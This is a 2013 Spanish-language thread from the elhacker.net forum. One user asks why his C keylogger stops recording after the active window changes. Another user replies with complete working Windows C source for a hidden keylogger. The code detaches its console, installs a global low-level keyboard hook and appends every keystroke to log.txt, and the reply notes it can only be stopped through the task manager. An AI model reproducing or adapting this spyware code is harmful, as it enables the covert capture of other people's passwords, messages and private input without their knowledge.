Foro de elhacker.net

Seguridad Informática => Análisis y Diseño de Malware => Mensaje iniciado por: ars1993 en 30 Mayo 2013, 19:16 pm



Título: Keylogger en C
Publicado por: ars1993 en 30 Mayo 2013, 19:16 pm
Buenas a todos!

Estoy haciendo un keylogger en C que como buen keylogger :P va guardando las puslaciones del usuario en un fichero almacenado en Disco. Cuando pulsas la tecla ESC el programa termina. Ahora bien, tengo dos problemas:

1.- Algunas teclas "especiales" como los ?&$... o los F1...F12 los almacena con un símbolo que no toca. Supongo que tendre que incluir algo de ASCII en mi keylogger para que esas teclas "especiales" las guarde bien. Alguien me puede orientar un poco con esto?

2.- Éste es el principal problema que tengo: Cuando ejecuto el keylogger, si justo después empiezo a apretar teclas, luego cuando apreto ESC voy al fichero y está todo ahí. Hasta aquí perfecto. El problema es que si después de ejecutar el programa (y sin apretar ESC) abro nuevas ventanas, canvio de ventana activa.... luego apreto ESC y si voy a mirar al fichero sólo encuentro keyloggeado hasta el momento que he empezado a canviar de ventana o abrir una nueva ventana...
Será que cuando mi keylogger pasa a "segundo plano" deja de ejecutarse? Me podeis orientar un poco también en como solucionarlo? algun trozito de codigo C para ayudar...

Gracias!  ;D


Título: Re: Keylogger en C
Publicado por: ars1993 en 2 Junio 2013, 14:36 pm
Nadie??? Venga una ayuditaa.... básicamente con eso de que mi keylogger solo guarda al archivo cuando no cambio de ventana activa.

Gracias


Título: Re: Keylogger en C
Publicado por: xiruko en 2 Junio 2013, 14:53 pm
Hola, te dejo aquí un código de un keylogger que hice hace bastante tiempo. Coge todas las letras y las guarda en el archivo de texto de esta manera: [letra]. El programa corre en segundo plano oculto, así que cuando quieras acabarlo abre el administrador de tareas y cierra su proceso.

Código
  1. #include <windows.h>
  2. #include <winuser.h>
  3. #include <stdio.h>
  4. #include <string.h>
  5.  
  6. // global hook handle is needed to use a low-level keyboard hook
  7. HHOOK hProc;
  8.  
  9. __declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode, WPARAM wParam, LPARAM lParam);
  10. DWORD __stdcall Keylogger (LPVOID path);
  11. void MessageLoop (void);
  12.  
  13. int __stdcall WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
  14.  
  15. FreeConsole ();
  16. nShowCmd = SW_HIDE;
  17. LPTSTR execName = GetCommandLine ();
  18. HANDLE hThread = CreateThread (NULL, 0, (LPTHREAD_START_ROUTINE) Keylogger, (LPVOID) execName, 0, NULL);
  19.  
  20. if (hThread) return WaitForSingleObject (hThread, INFINITE);
  21.  
  22. return 1;
  23. }
  24.  
  25. __declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode, WPARAM wParam, LPARAM lParam) {
  26.  
  27. if (nCode == HC_ACTION && (wParam == WM_SYSKEYDOWN || wParam == WM_KEYDOWN)) {
  28.  
  29. // info about the key like the virtual-key code, scan code, some flags, time of the message and extra info
  30. KBDLLHOOKSTRUCT keyInfo = *((KBDLLHOOKSTRUCT*) lParam);
  31.  
  32. // prepare the first parameter for the function GetKeyNameText() picking only the important information
  33. DWORD keyMessage = 1;
  34. keyMessage |= keyInfo.scanCode << 16;
  35. keyMessage |= (keyInfo.flags & 1) << 24;
  36.  
  37. // load the key name in a buffer
  38. char keyName[0x100];
  39. memset (keyName, 0, 0x100);
  40. keyName[0] = '[';
  41. int i = GetKeyNameText (keyMessage, keyName+1, 0xFE);
  42. keyName[i+1] = ']';
  43.  
  44. // write the buffer in file
  45. FILE *f = fopen ("log.txt", "a+");
  46. fputs (keyName, f);
  47. fclose (f);
  48. }
  49.  
  50. return CallNextHookEx (NULL, nCode, wParam, lParam);
  51. }
  52.  
  53. DWORD __stdcall Keylogger (LPVOID path) {
  54.  
  55. // try to get a module handle for our executable using GetModuleHandle(). if fails, we try to load our executable as a library.
  56. HINSTANCE hExec = GetModuleHandle (NULL);
  57. if (!hExec) hExec = LoadLibrary ((LPCTSTR) path);
  58.  
  59. // two methods failed so return error
  60. if (!hExec) return 1;
  61.  
  62. // install the hook
  63. hProc = SetWindowsHookEx (WH_KEYBOARD_LL, (HOOKPROC) KeyEvent, hExec, 0);
  64.  
  65. // message loop to manage all the incoming messages
  66. MessageLoop ();
  67. UnhookWindowsHookEx (hProc);
  68. return 0;
  69. }
  70.  
  71. void MessageLoop (void) {
  72.  
  73. MSG message;
  74.  
  75. while (GetMessage (&message, NULL, 0, 0)) {
  76.  
  77. TranslateMessage (&message);
  78. DispatchMessage (&message);
  79. }
  80. }
  81.  

Espero que te sirva, saludos!